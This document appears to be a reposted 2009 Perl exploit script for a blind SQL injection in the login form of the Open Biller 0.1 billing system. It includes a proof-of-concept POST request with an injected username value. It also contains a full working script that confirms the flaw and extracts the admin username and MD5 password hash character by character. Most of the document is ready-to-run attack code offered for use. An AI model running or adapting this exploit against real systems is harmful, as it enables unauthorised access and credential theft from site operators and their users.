Home / os / win10

openbiller-sql.txt

Posted on 11 June 2009

#!/usr/bin/perl #*********************************************************************************************** #*********************************************************************************************** #** ** #** ** #** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] ** #** || || || [] [][] [] [] [] [] [] [] [] [] [] [] ** # [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] ** #** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\n#**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>-- #** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ # [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] #** ** #** ** #** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ** #** ¡PROUD TO BE SPANISH! ** #** ** #*********************************************************************************************** #*********************************************************************************************** # #--------------------------------------------------------------------------------------------- #| (Post Form login var 'username') BLIND SQLi exploit | #|-------------------------------------------------------------------------------------------| #| | Open Biller 0.1 | | #| CMS INFORMATION: ------------------------ | #| | #|-->WEB: http://sourceforge.net/projects/geekbill/ | #|-->DOWNLOAD: http://sourceforge.net/projects/geekbill/ | #|-->DEMO: N/A | #|-->CATEGORY: CMS / Portal | #|-->DESCRIPTION: Open Biller aims to to be a the best open source billing | #| system on the planet.The system is written in PHP/MYSQL... | #|-->RELEASED: 2009-05-31 | #| | #| CMS VULNERABILITY: | #| | #|-->TESTED ON: firefox 3 | #|-->DORK: N/A | #|-->CATEGORY: BLIND SQLi exploit | #|-->AFFECT VERSION: CURRENT | #|-->Discovered Bug date: 2009-06-09 | #|-->Reported Bug date: 2009-06-09 | #|-->Fixed bug date: N/A | #|-->Info patch: N/A | #|-->Author: YEnH4ckEr | #|-->mail: y3nh4ck3r[at]gmail[dot]com | #|-->WEB/BLOG: N/A | #|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. | #|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) | #--------------------------------------------------------------------------------------------- # #------------ #CONDITIONS: #------------ # #magic quotes=OFF # #--------------------------------------- #PROOF OF CONCEPT (SQL INJECTION): #--------------------------------------- # #POST http://[HOST]/[PATH]/index.php HTTP/1.1 #Host: [HOST] #User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 #Referer: http://[HOST]/[PATH]/ # #username=%27+or+1%3D0%23&pass=1111&submit=Login # #username=%27+or+1%3D0%23&pass=1111&submit=Login # ############################################################################## ############################################################################## ##**************************************************************************## ## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ## ##**************************************************************************## ##--------------------------------------------------------------------------## ##**************************************************************************## ## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!## ##**************************************************************************## ############################################################################## ############################################################################## # # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title Open Biller 0.1 Blind SQL Injection Exploit"); system ("color 04"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); $request = HTTP::Request -> new(POST => $_[0]); $request->referer($_[0]); $request->content_type('application/x-www-form-urlencoded'); $request->content($_[1]); my $outcode= $userag->request($request)->as_string; #print $outcode; #--> Active this line for debugger mode #print $request->as_string; #--> Active this line for debugger mode return $outcode; } sub error { print " ------------------------------------------------------------ "; print " Web isn't vulnerable! "; print " --->Maybe: "; print " 1.-Patched. "; print " 2.-Bad path or host. "; print " 5.-Magic quotes ON'. "; print " EXPLOIT FAILED! "; print " ------------------------------------------------------------ "; } sub testedblindsql { print " ----------------------------------------------------------------- "; print " WEB MAYBE BE VULNERABLE! "; print " Tested Blind SQL Injection. "; print " Starting exploit... "; print " ----------------------------------------------------------------- "; } sub helper { print " [!!!] Open Biller 0.1 Blind SQL Injection Exploit "; print " [!!!] USAGE MODE: [!!!] "; print " [!!!] perl $0 [HOST] [PATH] "; print " [!!!] [HOST]: Web. "; print " [!!!] [PATH]: Home Path. "; print " [!!!] Example: perl $0 'www.example.com' 'demo' "; } sub brute_length{ #Username length $exit=0; $i=0; while($exit==0){ my $blindsql="username='+OR+1=1+AND+(SELECT+length(username)+FROM+users+WHERE+ID=1)=".$i++."#&pass=1111&submit=Login"; #injected code $output=&request($_[0],$blindsql); if($output =~ (/Incorrect password, please try again./)){ $exit=1; }else{ $exit=0; } #This is the max length of username if($i>60){ &error; exit(1); } } #Save column length $length=$i-1; print " <<<<<--------------------------------------------------------->>>>> "; print " Length catched! "; print " Length Username --> ".$length." "; print " Wait several minutes... "; print " <<<<<--------------------------------------------------------->>>>> "; return $length; } sub exploiting { #Bruteforcing values $values=""; $k=1; $z=45; while(($k<=$_[1]) && ($z<=126)){ my $blindsql="username='+OR+1=1+AND+ascii(substring((SELECT+".$_[2]."+FROM+users+WHERE+ID=1),".$k.",1))=".$z."#&pass=1111&submit=Login"; $output=&request($_[0],$blindsql); if($output =~ (/Incorrect password, please try again./)) { $values=$values.chr($z); $k++; $z=45; } #new char $z++; } return $values; } #Main &lw; print " ####################################################### "; print " ####################################################### "; print " ## Open Biller 0.1 Blind SQL Injection Exploit ## "; print " ## Blind SQL Injection Exploit ## "; print " ## ++Conditions: magic_quotes=OFF ## "; print " ## Author: Y3nh4ck3r ## "; print " ## Contact:y3nh4ck3r[at]gmail[dot]com ## "; print " ## Proud to be Spanish! ## "; print " ####################################################### "; print " ####################################################### "; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; $numArgs = $#ARGV + 1; if($numArgs<=1) { &helper; exit(1); } #Build uri my $finalhost="http://".$host."/".$path."/index.php"; $finalrequest = $finalhost; #Testing blind sql injection and magic_quotes (any error?) $send_post1="username=%27+or+1%3D1%23&pass=1111&submit=Login"; $output1=&request($finalrequest,$send_post1); $send_post2="username=%27+or+1%3D0%23&pass=1111&submit=Login"; $output2=&request($finalrequest,$send_post2); if ($output1 eq $output2) { #Not injectable &error; exit(1); }else{ #blind sql injection is available &testedblindsql; } #Bruteforcing length $length_user=&brute_length($finalrequest); #Bruteforcing username... $user=&exploiting($finalrequest,$length_user,'username'); #Bruteforcing password md5 hash... $pwhash=&exploiting($finalrequest,32,'password'); #final checking if((!$user) || (!$pwhash)){ &error; exit(1); } print " ************************************************* "; print " ********* EXPLOIT EXECUTED SUCCESSFULLY ******** "; print " ************************************************* "; print " Admin-username: ".$user." "; print " Admin-password: ".$pwhash." "; print " <<----------------------FINISH!-------------------->> "; print " <<---------------Thanks to: y3nh4ck3r-------------->> "; print " <<------------------------EOF---------------------->> "; exit(1); #Ok...all job done

 

TOP